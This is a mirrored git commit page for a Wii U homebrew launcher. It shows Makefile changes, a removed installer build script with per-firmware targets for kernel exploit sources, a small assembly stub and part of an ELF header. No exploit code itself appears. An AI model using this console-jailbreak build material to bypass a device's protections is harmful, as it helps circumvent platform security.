mirror of
https://github.com/wiiu-env/homebrew_launcher.git
synced 2024-11-27 23:24:16 +01:00
- added automatic gx2sploit execution and detection of existing environment
- the RPX file can now be used in a channel with for example the NUSPacker (HBL works now as a standalone channel with no PPC exploit pre-requisite like the browser exploit) - adaptions in sd_launcher - fixed listing ELF files - fix launching of ELF files from HBL channel - since HBL RPX does not use 0x0080000 area anymore, the maximum homebrew size is increased to 0x800000 - 0x2000 bytes - removed browser installer from RPX branch as it is of no use here NOTE: A channel will not yet be provided. app.xml, cos.xml, meta.xml and the icons/splash images will be provided later. Possible title id choice 00050000-13371337 :P.
This commit is contained in:
dimok789
parent
8904f9600c
commit
cfaf2bbc6d
2
.gitignore
vendored
2
.gitignore
vendored
@ -13,3 +13,5 @@
|
||||
/udp_debug_reader/GeckoLog.txt
|
||||
/installer/sd_loader.h
|
||||
/*.rpx
|
||||
/sd_loader/sd_loader.h
|
||||
/sd_loader/*.bin
|
||||
|
||||
188
Makefile
188
Makefile
@ -2,28 +2,41 @@
|
||||
# Clear the implicit built in rules
|
||||
#---------------------------------------------------------------------------------
|
||||
.SUFFIXES:
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(DEVKITPPC)),)
|
||||
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
|
||||
endif
|
||||
ifeq ($(strip $(DEVKITPRO)),)
|
||||
$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>devkitPRO")
|
||||
endif
|
||||
ifeq ($(strip $(WUT_ROOT)),)
|
||||
$(error "Please ensure WUT_ROOT is in your environment.")
|
||||
endif
|
||||
|
||||
ifeq ($(findstring CYGWIN,$(shell uname -s)),CYGWIN)
|
||||
ROOT := $(shell cygpath -w ${CURDIR})
|
||||
WUT_ROOT := $(shell cygpath -w ${WUT_ROOT})
|
||||
else
|
||||
ROOT := $(CURDIR)
|
||||
endif
|
||||
|
||||
|
||||
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
|
||||
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
|
||||
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
|
||||
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
|
||||
|
||||
include $(WUT_ROOT)/rules/rpl.mk
|
||||
PREFIX := powerpc-eabi-
|
||||
|
||||
AS := $(PREFIX)as
|
||||
export AS := $(PREFIX)as
|
||||
export CC := $(PREFIX)gcc
|
||||
export CXX := $(PREFIX)g++
|
||||
export AR := $(PREFIX)ar
|
||||
export OBJCOPY := $(PREFIX)objcopy
|
||||
|
||||
TARGET := $(notdir $(CURDIR))
|
||||
export ELF2RPL := $(WUT_ROOT)/bin/elf2rpl
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# TARGET is the name of the output
|
||||
# BUILD is the directory where object files & intermediate files will be placed
|
||||
# SOURCES is a list of directories containing source code
|
||||
# INCLUDES is a list of directories containing extra header files
|
||||
#---------------------------------------------------------------------------------
|
||||
TARGET := homebrew_launcher
|
||||
BUILD := build
|
||||
SOURCE := src \
|
||||
BUILD_DBG := $(TARGET)_dbg
|
||||
SOURCES := src \
|
||||
src/dynamic_libs \
|
||||
src/fs \
|
||||
src/game \
|
||||
@ -40,69 +53,154 @@ SOURCE := src \
|
||||
src/utils \
|
||||
src/video \
|
||||
src/video/shaders
|
||||
INCLUDE := src
|
||||
DATA := data \
|
||||
data/images \
|
||||
data/fonts \
|
||||
data/sounds
|
||||
LIBS := -lgcc -lcrt -lcoreinit -lproc_ui -lnsysnet -lsndcore2 -lvpad -lgx2 -lgd -lpng -lz -lfreetype -lmad -lvorbisidec
|
||||
|
||||
CFLAGS += -O3 -std=gnu11 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing
|
||||
CXXFLAGS += -O3 -std=gnu++11 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing
|
||||
INCLUDES := src
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# options for code generation
|
||||
#---------------------------------------------------------------------------------
|
||||
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||
ASFLAGS := -mregnames
|
||||
LDFLAGS := -nostartfiles -T $(WUT_ROOT)/rules/rpl.ld -pie -fPIE -z common-page-size=64 -z max-page-size=64 -lcrt \
|
||||
-Wl,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size \
|
||||
-Wl,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r \
|
||||
-Wl,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,-wrap,__eabi -Wl,--gc-sections
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
Q := @
|
||||
MAKEFLAGS += --no-print-directory
|
||||
#---------------------------------------------------------------------------------
|
||||
# any extra libraries we wish to link with the project
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBS := -lcrt -lcoreinit -lproc_ui -lnsysnet -lsndcore2 -lvpad -lgx2 -lsysapp -lgd -lpng -lz -lfreetype -lmad -lvorbisidec
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# list of directories containing libraries, this must be the top level containing
|
||||
# include and lib
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBDIRS := $(CURDIR) \
|
||||
$(DEVKITPPC)/ \
|
||||
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 \
|
||||
$(WUT_ROOT)/lib
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# no real need to edit anything past this point unless you need to add additional
|
||||
# rules for different file extensions
|
||||
#---------------------------------------------------------------------------------
|
||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||
#---------------------------------------------------------------------------------
|
||||
export PROJECTDIR := $(CURDIR)
|
||||
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
|
||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||
|
||||
export OUTPUT := $(ROOT)/$(TARGET)
|
||||
export VPATH := $(foreach dir,$(SOURCE),$(ROOT)/$(dir)) \
|
||||
$(foreach dir,$(DATA),$(ROOT)/$(dir))
|
||||
export BUILDDIR := $(ROOT)
|
||||
export DEPSDIR := $(BUILDDIR)
|
||||
|
||||
CFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.c)))
|
||||
CXXFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||
SFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.S)))
|
||||
#---------------------------------------------------------------------------------
|
||||
# automatically build a list of object files for our project
|
||||
#---------------------------------------------------------------------------------
|
||||
FILELIST := $(shell bash ./filelist.sh)
|
||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
|
||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
|
||||
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
|
||||
|
||||
ifeq ($(strip $(CXXFILES)),)
|
||||
export LD := $(CC)
|
||||
#---------------------------------------------------------------------------------
|
||||
# use CXX for linking C++ projects, CC for standard C
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(CPPFILES)),)
|
||||
export LD := $(CC)
|
||||
else
|
||||
export LD := $(CXX)
|
||||
export LD := $(CXX)
|
||||
endif
|
||||
|
||||
export OFILES := $(CFILES:.c=.o) \
|
||||
$(CXXFILES:.cpp=.o) \
|
||||
$(SFILES:.S=.o) \
|
||||
$(addsuffix .o,$(BINFILES))
|
||||
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
|
||||
$(sFILES:.s=.o) $(SFILES:.S=.o) \
|
||||
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
|
||||
|
||||
export INCLUDES := $(foreach dir,$(INCLUDE),-I$(ROOT)/$(dir)) \
|
||||
-I$(ROOT)/$(BUILD) \
|
||||
#---------------------------------------------------------------------------------
|
||||
# build a list of include paths
|
||||
#---------------------------------------------------------------------------------
|
||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||
-I$(CURDIR)/$(BUILD) -I$(WUT_ROOT)/include \
|
||||
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# build a list of library paths
|
||||
#---------------------------------------------------------------------------------
|
||||
export LIB_DIRS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
|
||||
-L$(PORTLIBS)/lib
|
||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)) \
|
||||
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
|
||||
|
||||
.PHONY: $(BUILD) clean
|
||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||
.PHONY: $(BUILD) clean install
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
$(BUILD):
|
||||
@[ -d $@ ] || mkdir -p $@
|
||||
@$(MAKE) --no-print-directory -C $(BUILD) -f $(ROOT)/Makefile
|
||||
@$(Q)$(MAKE) -C sd_loader
|
||||
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
clean:
|
||||
@echo "[RM] $(notdir $(OUTPUT))"
|
||||
@rm -rf $(BUILD) $(OUTPUT).elf $(OUTPUT).rpx $(OUTPUT).a
|
||||
@echo clean ...
|
||||
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(OUTPUT).rpx
|
||||
@$(MAKE) -C sd_loader clean
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
|
||||
# workaround as wut overwrites the LIBPATHS with its rules -> not cool
|
||||
export LIBPATHS := $(LIBPATHS) $(LIB_DIRS)
|
||||
|
||||
DEPENDS := $(OFILES:.o=.d)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# main targets
|
||||
#---------------------------------------------------------------------------------
|
||||
$(OUTPUT).rpx: $(OUTPUT).elf
|
||||
$(OUTPUT).elf: $(OFILES)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# This rule links in binary data with the .jpg extension
|
||||
#---------------------------------------------------------------------------------
|
||||
%.elf: $(OFILES)
|
||||
@echo "linking ... $(TARGET).elf"
|
||||
$(Q)$(LD) $^ $(LDFLAGS) -o $@ $(LIBPATHS) $(LIBS)
|
||||
# $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.rpx: %.elf
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo "[RPX] $(notdir $@)"
|
||||
@$(ELF2RPL) $^ $@
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.a:
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo $(notdir $@)
|
||||
@rm -f $@
|
||||
@$(AR) -rc $@ $^
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.cpp
|
||||
@echo $(notdir $<)
|
||||
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.c
|
||||
@echo $(notdir $<)
|
||||
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.S
|
||||
@echo $(notdir $<)
|
||||
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.png.o : %.png
|
||||
|
||||
@ -1,76 +0,0 @@
|
||||
PATH := $(DEVKITPPC)/bin:$(PATH)
|
||||
PREFIX ?= powerpc-eabi-
|
||||
CC = $(PREFIX)gcc
|
||||
AS = $(PREFIX)gcc
|
||||
CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin
|
||||
ASFLAGS = -mregnames -x assembler-with-cpp
|
||||
LD = $(PREFIX)ld
|
||||
LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc
|
||||
OBJDUMP ?= $(PREFIX)objdump
|
||||
project := .
|
||||
root := $(CURDIR)
|
||||
build := $(root)/bin
|
||||
|
||||
sd_loader_elf := ../sd_loader/sd_loader.elf
|
||||
|
||||
CFLAGS += -DUSE_SD_LOADER
|
||||
ASFLAGS += -DUSE_SD_LOADER
|
||||
|
||||
all: clean setup main532 main550 main500 main410 main400
|
||||
|
||||
sd_loader.h: $(sd_loader_elf)
|
||||
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@
|
||||
|
||||
$(sd_loader_elf):
|
||||
make -C ../sd_loader
|
||||
|
||||
setup:
|
||||
mkdir -p $(root)/bin/
|
||||
|
||||
main550:
|
||||
make main FIRMWARE=550
|
||||
|
||||
main540:
|
||||
make main FIRMWARE=532
|
||||
|
||||
main532:
|
||||
make main FIRMWARE=532
|
||||
|
||||
main500:
|
||||
make main FIRMWARE=500
|
||||
|
||||
main410:
|
||||
make main FIRMWARE=410
|
||||
|
||||
main400:
|
||||
make main FIRMWARE=400
|
||||
|
||||
main310:
|
||||
make main FIRMWARE=310
|
||||
|
||||
main300:
|
||||
make main FIRMWARE=300
|
||||
|
||||
main210:
|
||||
make main FIRMWARE=210
|
||||
|
||||
main200:
|
||||
make main FIRMWARE=200
|
||||
|
||||
main: sd_loader.h
|
||||
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c
|
||||
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c
|
||||
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S
|
||||
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
|
||||
cp -r $(root)/*.o $(build)
|
||||
rm $(root)/*.o
|
||||
$(LD) -s -o $(build)/code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS)
|
||||
|
||||
clean:
|
||||
rm -rf $(build)
|
||||
rm -rf sd_loader.h
|
||||
make clean -C ../sd_loader
|
||||
|
||||
print_stats:
|
||||
@echo
|
||||
@echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312
|
||||
@ -1,8 +0,0 @@
|
||||
.extern __main
|
||||
.globl _start
|
||||
_start:
|
||||
# load proper stack
|
||||
lis r1, 0x1ab5
|
||||
ori r1, r1, 0xd138
|
||||
# jump to our main
|
||||
bl __main
|
||||
@ -1,591 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 1995, 1996, 2001, 2002
|
||||
* Erik Theisen. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. The name of the author may not be used to endorse or promote products
|
||||
* derived from this software without specific prior written permission
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* This is the ELF ABI header file
|
||||
* formerly known as "elf_abi.h".
|
||||
*/
|
||||
|
||||
#ifndef _ELF_ABI_H
|
||||
#define _ELF_ABI_H
|
||||
|
||||
/*
|
||||
* This version doesn't work for 64-bit ABIs - Erik.
|
||||
*/
|
||||
|
||||
/*
|
||||
* These typedefs need to be handled better.
|
||||
*/
|
||||
typedef unsigned int Elf32_Addr; /* Unsigned program address */
|
||||
typedef unsigned int Elf32_Off; /* Unsigned file offset */
|
||||
typedef signed int Elf32_Sword; /* Signed large integer */
|
||||
typedef unsigned int Elf32_Word; /* Unsigned large integer */
|
||||
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
|
||||
|
||||
/* e_ident[] identification indexes */
|
||||
#define EI_MAG0 0 /* file ID */
|
||||
#define EI_MAG1 1 /* file ID */
|
||||
#define EI_MAG2 2 /* file ID */
|
||||
#define EI_MAG3 3 /* file ID */
|
||||
#define EI_CLASS 4 /* file class */
|
||||
#define EI_DATA 5 /* data encoding */
|
||||
#define EI_VERSION 6 /* ELF header version */
|
||||
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
|
||||
#define EI_ABIVERSION 8 /* ABI target version */
|
||||
#define EI_PAD 9 /* start of pad bytes */
|
||||
#define EI_NIDENT 16 /* Size of e_ident[] */
|
||||
|
||||
/* e_ident[] magic number */
|
||||
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
|
||||
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
|
||||
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
|
||||
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
|
||||
#define ELFMAG "\177ELF" /* magic */
|
||||
#define SELFMAG 4 /* size of magic */
|
||||
|
||||
/* e_ident[] file class */
|
||||
#define ELFCLASSNONE 0 /* invalid */
|
||||
#define ELFCLASsigned int 1 /* 32-bit objs */
|
||||
#define ELFCLASS64 2 /* 64-bit objs */
|
||||
#define ELFCLASSNUM 3 /* number of classes */
|
||||
|
||||
/* e_ident[] data encoding */
|
||||
#define ELFDATANONE 0 /* invalid */
|
||||
#define ELFDATA2LSB 1 /* Little-Endian */
|
||||
#define ELFDATA2MSB 2 /* Big-Endian */
|
||||
#define ELFDATANUM 3 /* number of data encode defines */
|
||||
|
||||
/* e_ident[] OS/ABI specific ELF extensions */
|
||||
#define ELFOSABI_NONE 0 /* No extension specified */
|
||||
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
|
||||
#define ELFOSABI_NETBSD 2 /* NetBSD */
|
||||
#define ELFOSABI_LINUX 3 /* Linux */
|
||||
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
|
||||
#define ELFOSABI_AIX 7 /* AIX */
|
||||
#define ELFOSABI_IRIX 8 /* IRIX */
|
||||
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
|
||||
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
|
||||
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
|
||||
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
|
||||
/* 64-255 Architecture-specific value range */
|
||||
|
||||
/* e_ident[] ABI Version */
|
||||
#define ELFABIVERSION 0
|
||||
|
||||
/* e_ident */
|
||||
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
|
||||
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
|
||||
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
|
||||
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
|
||||
|
||||
/* ELF Header */
|
||||
typedef struct elfhdr{
|
||||
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
|
||||
Elf32_Half e_type; /* object file type */
|
||||
Elf32_Half e_machine; /* machine */
|
||||
Elf32_Word e_version; /* object file version */
|
||||
Elf32_Addr e_entry; /* virtual entry point */
|
||||
Elf32_Off e_phoff; /* program header table offset */
|
||||
Elf32_Off e_shoff; /* section header table offset */
|
||||
Elf32_Word e_flags; /* processor-specific flags */
|
||||
Elf32_Half e_ehsize; /* ELF header size */
|
||||
Elf32_Half e_phentsize; /* program header entry size */
|
||||
Elf32_Half e_phnum; /* number of program header entries */
|
||||
Elf32_Half e_shentsize; /* section header entry size */
|
||||
Elf32_Half e_shnum; /* number of section header entries */
|
||||
Elf32_Half e_shstrndx; /* section header table's "section
|
||||
header string table" entry offset */
|
||||
} Elf32_Ehdr;
|
||||
|
||||
/* e_type */
|
||||
#define ET_NONE 0 /* No file type */
|
||||
#define ET_REL 1 /* relocatable file */
|
||||
#define ET_EXEC 2 /* executable file */
|
||||
#define ET_DYN 3 /* shared object file */
|
||||
#define ET_CORE 4 /* core file */
|
||||
#define ET_NUM 5 /* number of types */
|
||||
#define ET_LOOS 0xfe00 /* reserved range for operating */
|
||||
#define ET_HIOS 0xfeff /* system specific e_type */
|
||||
#define ET_LOPROC 0xff00 /* reserved range for processor */
|
||||
#define ET_HIPROC 0xffff /* specific e_type */
|
||||
|
||||
/* e_machine */
|
||||
#define EM_NONE 0 /* No Machine */
|
||||
#define EM_M32 1 /* AT&T WE 32100 */
|
||||
#define EM_SPARC 2 /* SPARC */
|
||||
#define EM_386 3 /* Intel 80386 */
|
||||
#define EM_68K 4 /* Motorola 68000 */
|
||||
#define EM_88K 5 /* Motorola 88000 */
|
||||
#if 0
|
||||
#define EM_486 6 /* RESERVED - was Intel 80486 */
|
||||
#endif
|
||||
#define EM_860 7 /* Intel 80860 */
|
||||
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
|
||||
#define EM_S370 9 /* IBM System/370 Processor */
|
||||
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
|
||||
#if 0
|
||||
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
|
||||
64-bit unoffical */
|
||||
#endif
|
||||
/* RESERVED 11-14 for future use */
|
||||
#define EM_PARISC 15 /* HPPA */
|
||||
/* RESERVED 16 for future use */
|
||||
#define EM_VPP500 17 /* Fujitsu VPP500 */
|
||||
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
|
||||
#define EM_960 19 /* Intel 80960 */
|
||||
#define EM_PPC 20 /* PowerPC */
|
||||
#define EM_PPC64 21 /* 64-bit PowerPC */
|
||||
#define EM_S390 22 /* IBM System/390 Processor */
|
||||
/* RESERVED 23-35 for future use */
|
||||
#define EM_V800 36 /* NEC V800 */
|
||||
#define EM_FR20 37 /* Fujitsu FR20 */
|
||||
#define EM_RH32 38 /* TRW RH-32 */
|
||||
#define EM_RCE 39 /* Motorola RCE */
|
||||
#define EM_ARM 40 /* Advanced Risc Machines ARM */
|
||||
#define EM_ALPHA 41 /* Digital Alpha */
|
||||
#define EM_SH 42 /* Hitachi SH */
|
||||
#define EM_SPARCV9 43 /* SPARC Version 9 */
|
||||
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
|
||||
#define EM_ARC 45 /* Argonaut RISC Core */
|
||||
#define EM_H8_300 46 /* Hitachi H8/300 */
|
||||
#define EM_H8_300H 47 /* Hitachi H8/300H */
|
||||
#define EM_H8S 48 /* Hitachi H8S */
|
||||
#define EM_H8_500 49 /* Hitachi H8/500 */
|
||||
#define EM_IA_64 50 /* Intel Merced */
|
||||
#define EM_MIPS_X 51 /* Stanford MIPS-X */
|
||||
#define EM_COLDFIRE 52 /* Motorola Coldfire */
|
||||
#define EM_68HC12 53 /* Motorola M68HC12 */
|
||||
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
|
||||
#define EM_PCP 55 /* Siemens PCP */
|
||||
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
|
||||
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
|
||||
#define EM_STARCORE 58 /* Motorola Start*Core processor */
|
||||
#define EM_ME16 59 /* Toyota ME16 processor */
|
||||
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
|
||||
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
|
||||
#define EM_X86_64 62 /* AMD x86-64 */
|
||||
#define EM_PDSP 63 /* Sony DSP Processor */
|
||||
/* RESERVED 64,65 for future use */
|
||||
#define EM_FX66 66 /* Siemens FX66 microcontroller */
|
||||
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
|
||||
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
|
||||
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
|
||||
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
|
||||
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
|
||||
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
|
||||
#define EM_SVX 73 /* Silicon Graphics SVx */
|
||||
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
|
||||
#define EM_VAX 75 /* Digital VAX */
|
||||
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
|
||||
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
|
||||
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
|
||||
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
|
||||
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
|
||||
#define EM_HUANY 81 /* Harvard University mach-indep objs */
|
||||
#define EM_PRISM 82 /* SiTera Prism */
|
||||
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
|
||||
#define EM_FR30 84 /* Fujitsu FR30 */
|
||||
#define EM_D10V 85 /* Mitsubishi DV10V */
|
||||
#define EM_D30V 86 /* Mitsubishi DV30V */
|
||||
#define EM_V850 87 /* NEC v850 */
|
||||
#define EM_M32R 88 /* Mitsubishi M32R */
|
||||
#define EM_MN10300 89 /* Matsushita MN10200 */
|
||||
#define EM_MN10200 90 /* Matsushita MN10200 */
|
||||
#define EM_PJ 91 /* picoJava */
|
||||
#define EM_NUM 92 /* number of machine types */
|
||||
|
||||
/* Version */
|
||||
#define EV_NONE 0 /* Invalid */
|
||||
#define EV_CURRENT 1 /* Current */
|
||||
#define EV_NUM 2 /* number of versions */
|
||||
|
||||
/* Section Header */
|
||||
typedef struct {
|
||||
Elf32_Word sh_name; /* name - index into section header
|
||||
string table section */
|
||||
Elf32_Word sh_type; /* type */
|
||||
Elf32_Word sh_flags; /* flags */
|
||||
Elf32_Addr sh_addr; /* address */
|
||||
Elf32_Off sh_offset; /* file offset */
|
||||
Elf32_Word sh_size; /* section size */
|
||||
Elf32_Word sh_link; /* section header table index link */
|
||||
Elf32_Word sh_info; /* extra information */
|
||||
Elf32_Word sh_addralign; /* address alignment */
|
||||
Elf32_Word sh_entsize; /* section entry size */
|
||||
} Elf32_Shdr;
|
||||
|
||||
/* Special Section Indexes */
|
||||
#define SHN_UNDEF 0 /* undefined */
|
||||
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
|
||||
#define SHN_LOPROC 0xff00 /* reserved range for processor */
|
||||
#define SHN_HIPROC 0xff1f /* specific section indexes */
|
||||
#define SHN_LOOS 0xff20 /* reserved range for operating */
|
||||
#define SHN_HIOS 0xff3f /* specific semantics */
|
||||
#define SHN_ABS 0xfff1 /* absolute value */
|
||||
#define SHN_COMMON 0xfff2 /* common symbol */
|
||||
#define SHN_XINDEX 0xffff /* Index is an extra table */
|
||||
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
|
||||
|
||||
/* sh_type */
|
||||
#define SHT_NULL 0 /* inactive */
|
||||
#define SHT_PROGBITS 1 /* program defined information */
|
||||
#define SHT_SYMTAB 2 /* symbol table section */
|
||||
#define SHT_STRTAB 3 /* string table section */
|
||||
#define SHT_RELA 4 /* relocation section with addends*/
|
||||
#define SHT_HASH 5 /* symbol hash table section */
|
||||
#define SHT_DYNAMIC 6 /* dynamic section */
